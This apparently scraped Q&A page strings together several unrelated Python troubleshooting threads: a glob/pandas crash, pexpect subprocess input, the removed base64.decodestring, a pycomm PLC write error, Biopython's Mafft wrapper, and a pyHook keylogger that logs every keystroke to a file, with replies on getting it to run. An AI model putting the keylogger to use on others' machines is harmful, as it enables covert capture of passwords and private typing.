I'm trying to read all the csv files in 2 directories using glob module:
import os
import pandas as pd
import glob
def get_list_of_group_df(filepath):
all_group_df_list = []
groups_path = filepath
for file in glob.glob(groups_path):
name = os.path.basename(file)
name = patient_name.partition('_raw')[0]
with open(file, 'r') as name_vcf:
group_vcf_to_df = pd.read_csv(name_vcf, delimiter='\t',
header=0, index_col=False, low_memory=False,
usecols=['A', 'B', 'C', 'D'])
group_df_wo_duplicates = group_vcf_to_df.drop_duplicates()
group_df = group_df_wo_duplicates.reset_index(drop=True)
group_df['group_name'] = name
all_group_df_list.append(group_df)
return all_group_df_list
def get_freq():
group_filepath_dict =
{'1_group':"/home/Raw_group/*.tsv",
'2_group':"/home/Raw_group/*.tsv"}
for group, filepath in group_filepath_dict.items():
print(get_list_of_group_df(filepath))
get_freq()
When I run this script locally, it works just fine. However, running it on UBUNTU server gives me the following error message:
Error in `python3': free(): invalid pointer: 0x00007fcc970d76be ***
Aborted (core dumped)
I'm using python 3.6.3 version. Can anyone tell me how to solve the problem?
I have a similar problem in Python 3.7.3 under Raspbian Buster 2020-02-13. My program dies with free(): invalid pointer except no pointer is given and there is no core dump and no stack trace. So, I have nothing to debug with. This has happened a few times, usually after the program has been running for a day or two, so I suspect it's a very slow memory leak or a very infrequent intermittent bug in Python garbage collection. I am not doing any memory management myself.
Related
Testing the simple example that should execute the external application and catch both inputs there.
# external_application.py
print('First_line:')
x = input()
print('Second_line:')
y = input()
print(f'Done: {x} and {y}')
And the runner:
# runner.py
import subprocess
import pexpect.fdpexpect
p = subprocess.Popen(("python", "external_application.py"), stdin=subprocess.PIPE, stdout=subprocess.PIPE)
session = pexpect.fdpexpect.fdspawn(p.stdout.fileno())
session.expect("First_line:")
p.stdin.write(b'1')
print('first_done')
session.expect("Second_line:")
p.stdin.write(b'2')
print('second_done')
p.stdin.close()
print(f'Result: {p.stdout.read()}')
I can see that output of the print('first_done') and then it locks on the second expect. If we remove the second input and a second expect then everything works correctly till the end.
Running on the windows, python 3.7.9, pexpect 4.8.0
Am I missing some timeout or a flush?
When I check the dump, session matches b'First_line:\r\n', but p.stdin.write doesn't move the pexpect cursor forward to look for "Second_line:", as what happens with send() or sendline().
May I suggest a simpler way, using PopenSpawn? The docs state that it "provides an interface like pexpect.spawn interface (sic) using subprocess.Popen":
NOTE - Tested in Windows 11, using Python 3.9.
import pexpect
from pexpect import popen_spawn
session = pexpect.popen_spawn.PopenSpawn("python external_application.py")
session.expect("First_line:")
session.sendline("1")
print("first_done")
session.expect("Second_line:")
session.sendline("2")
print("second_done")
print(session.read().decode("utf-8"))
Output:
first_done
second_done
Done: 1 and 2
After upgrading from python 3.8.0 to python 3.9.1, the tremc front-end of transmission bitTorrent client is throwing decodestrings is not an attribute of base64 error whenever i click on a torrent entry to check the details.
My system specs:
OS: Arch linux
kernel: 5.6.11-clear-linux
base64.encodestring() and base64.decodestring(), aliases deprecated since Python 3.1, have been removed.
use base64.encodebytes() and base64.decodebytes()
So i went to the site-packages directory and with ripgrep tried searching for the decodestring string.
rg decodestring
paramiko/py3compat.py
39: decodebytes = base64.decodestring
Upon examining the py3compat.py file,i found this block:
PY2 = sys.version_info[0] < 3
if PY2:
string_types = basestring # NOQA
text_type = unicode # NOQA
bytes_types = str
bytes = str
integer_types = (int, long) # NOQA
long = long # NOQA
input = raw_input # NOQA
decodebytes = base64.decodestring
encodebytes = base64.encodestring
So decodebytes have replaced(aliased) decodestring attribute of base64 for python version >= 3
This must be a new addendum because tremc was working fine in uptil version 3.8.*.
Opened tremc script, found the erring line (line 441), just replaced the attribute decodestring with decodebytes.A quick fix till the next update.
PS: Checked the github repository, and there's a pull request for it in waiting.
If you don't want to wait for the next release and also don't want to hack the way i did, you can get it freshly build from the repository, though that would be not much of a difference than my method
code
from pycomm.ab_comm.slc import Driver as MLDriver
ML = MLDriver()
while 1:
try:
if ML.open('192.168.2.150'):
#print (ML.read_tag('F8:0',10))
print (ML.write_tag('N7:0',10))
ML.close()
except Exception as e:
print (e)
#continue
Error
Error(can only concatenate str (not "bytes") to str) packing the values to write to the SLC write_tag(N7:0,10)
Read tag works fine but the write module is not working in pycomm3
Package Link :-
pip install git+https://github.com/bpaterni/pycomm.git#pycomm3
This was a bug that should have been fixed recently
I've been trying to use the Mafft alignment tool from Bio.Align.Applications. Currently, I've had success writing my sequence information out to temporary text files that are then read by MafftCommandline(). However, I'd like to avoid redundant steps as much as possible, so I've been trying to write to a memory file instead using io.StringIO(). This is where I've been having problems. I can't get MafftCommandline() to read internal files made by io.StringIO(). I've confirmed that the internal files are compatible with functions such as AlignIO.read(). The following is my test code:
from Bio.Align.Applications import MafftCommandline
from Bio import SeqIO
from Bio.Seq import Seq
from Bio.SeqRecord import SeqRecord
import io
from Bio import AlignIO
sequences1 = ["AGGGGC",
"AGGGC",
"AGGGGGC",
"AGGAGC",
"AGGGGG"]
longest_length = max(len(s) for s in sequences1)
padded_sequences = [s.ljust(longest_length, '-') for s in sequences1] #padded sequences used to test compatibilty with AlignIO
ioSeq = ''
for items in padded_sequences:
ioSeq += '>unknown\n'
ioSeq += items + '\n'
newC = io.StringIO(ioSeq)
cLoc = str(newC).strip()
cLocEdit = cLoc[:len(cLoc)] #create string to remove < and >
test1Handle = AlignIO.read(newC, "fasta")
#test1HandleString = AlignIO.read(cLocEdit, "fasta") #fails to interpret cLocEdit string
records = (SeqRecord(Seq(s)) for s in padded_sequences)
SeqIO.write(records, "msa_example.fasta", "fasta")
test1Handle1 = AlignIO.read("msa_example.fasta", "fasta") #alignIO same for both #demonstrates working AlignIO
in_file = '.../msa_example.fasta'
mafft_exe = '/usr/local/bin/mafft'
mafft_cline = MafftCommandline(mafft_exe, input=in_file) #have to change file path
mafft_cline1 = MafftCommandline(mafft_exe, input=cLocEdit) #fails to read string (same as AlignIO)
mafft_cline2 = MafftCommandline(mafft_exe, input=newC)
stdout, stderr = mafft_cline()
print(stdout) #corresponds to MafftCommandline with input file
stdout1, stderr1 = mafft_cline1()
print(stdout1) #corresponds to MafftCommandline with internal file
I get the following error messages:
ApplicationError: Non-zero return code 2 from '/usr/local/bin/mafft <_io.StringIO object at 0x10f439798>', message "/bin/sh: -c: line 0: syntax error near unexpected token `newline'"
I believe this results due to the arrows ('<' and '>') present in the file path.
ApplicationError: Non-zero return code 1 from '/usr/local/bin/mafft "_io.StringIO object at 0x10f439af8"', message '/usr/local/bin/mafft: Cannot open _io.StringIO object at 0x10f439af8.'
Attempting to remove the arrows by converting the file path to a string and indexing resulted in the above error.
Ultimately my goal is to reduce computation time. I hope to accomplish this by calling internal memory instead of writing out to a separate text file. Any advice or feedback regarding my goal is much appreciated. Thanks in advance.
I can't get MafftCommandline() to read internal files made by
io.StringIO().
This is not surprising for a couple of reasons:
As you're aware, Biopython doesn't implement Mafft, it simply
provides a convenient interface to setup a call to mafft in
/usr/local/bin. The mafft executable runs as a separate process
that does not have access to your Python program's internal memory,
including your StringIO file.
The mafft program only works with an input file, it doesn't even
allow stdin as a data source. (Though it does allow stdout as a
data sink.) So ultimately, there must be a file in the file system
for mafft to open. Thus the need for your temporary file.
Perhaps tempfile.NamedTemporaryFile() or tempfile.mkstemp() might be a reasonable compromise.
I am copying the key logger from this video: (https://www.youtube.com/watch?v=8BiOPBsXh0g) and running the code:
import pyHook, sys, logging, pythoncom
file_log = 'C:\Users\User\Google Drive\Python'
def OnKeyboardEvent(event):
logging.basicConfig(filename = file_log, level = logging.DEBUG, format = '%(message)s')
chr(event.Ascii)
logging.log(10, chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.Pumpmessages()
This returns the error:
Traceback (most recent call last):
File "C:\Users\User\Google Drive\Python\pyHook.py", line 2, in <module>
import pyHook, sys, logging, pythoncom
File "C:\Users\User\Google Drive\Python\pyHook.py", line 12, in <module>
hooks_manager = pyHook.HookManager()
AttributeError: 'module' object has no attribute 'HookManager'
I am running Python 2.7.11 and a windows computer.
I don't know what the problem is; please help.
Thank you
I found the solution. If you open HookManager.py and change all 'key_hook' words to 'keyboard_hook' no more error occurs
I'm still unsure what the issue is but I found a solution.
If you move the program you are trying to run into the same folder as the HookManager.py file then it works.
For me this file was:
C:\Python27\Lib\site-packages\pyHook
Bro this line is wrong
file_log = 'C:\Users\User\Google Drive\Python'
As the system doesn't allow your program to write to the 'C' drive, you should use another path, like 'D' drive or 'E' drive or etc. as given below.
file_log = 'D:\keyloggerOutput.txt'
I had same message error after having installed pyWinhook-1.6.1 on Python 3.7 with the zip file pyWinhook-1.6.1.zip.
In application file, I replaced the import statement:" import pyWinhook as pyHook" with "from pywinhook import *". The problem was then solved.